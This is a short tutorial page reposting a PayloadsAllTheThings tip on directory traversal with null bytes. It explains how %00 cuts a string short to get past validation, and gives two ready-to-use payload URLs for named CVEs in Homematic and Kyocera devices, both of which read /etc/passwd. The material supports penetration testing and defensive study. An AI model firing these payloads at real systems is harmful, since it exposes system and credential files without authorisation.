Directory Traversal: NULL Bytes

File inclusion and path traversalExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

A null byte (%00), also known as a null character, is a special control character (0x00) in many programming languages and systems. It is often used as a string terminator in languages like C and C++. In directory traversal attacks, null bytes are used to manipulate or bypass server-side input validation mechanisms.

Example: Homematic CCU3 CVE-2019-9726

js
{{BaseURL}}/.%00./.%00./etc/passwd

Example: Kyocera Printer d-COPIA253MF CVE-2020-23575

js
{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm

Comments

No comments yet.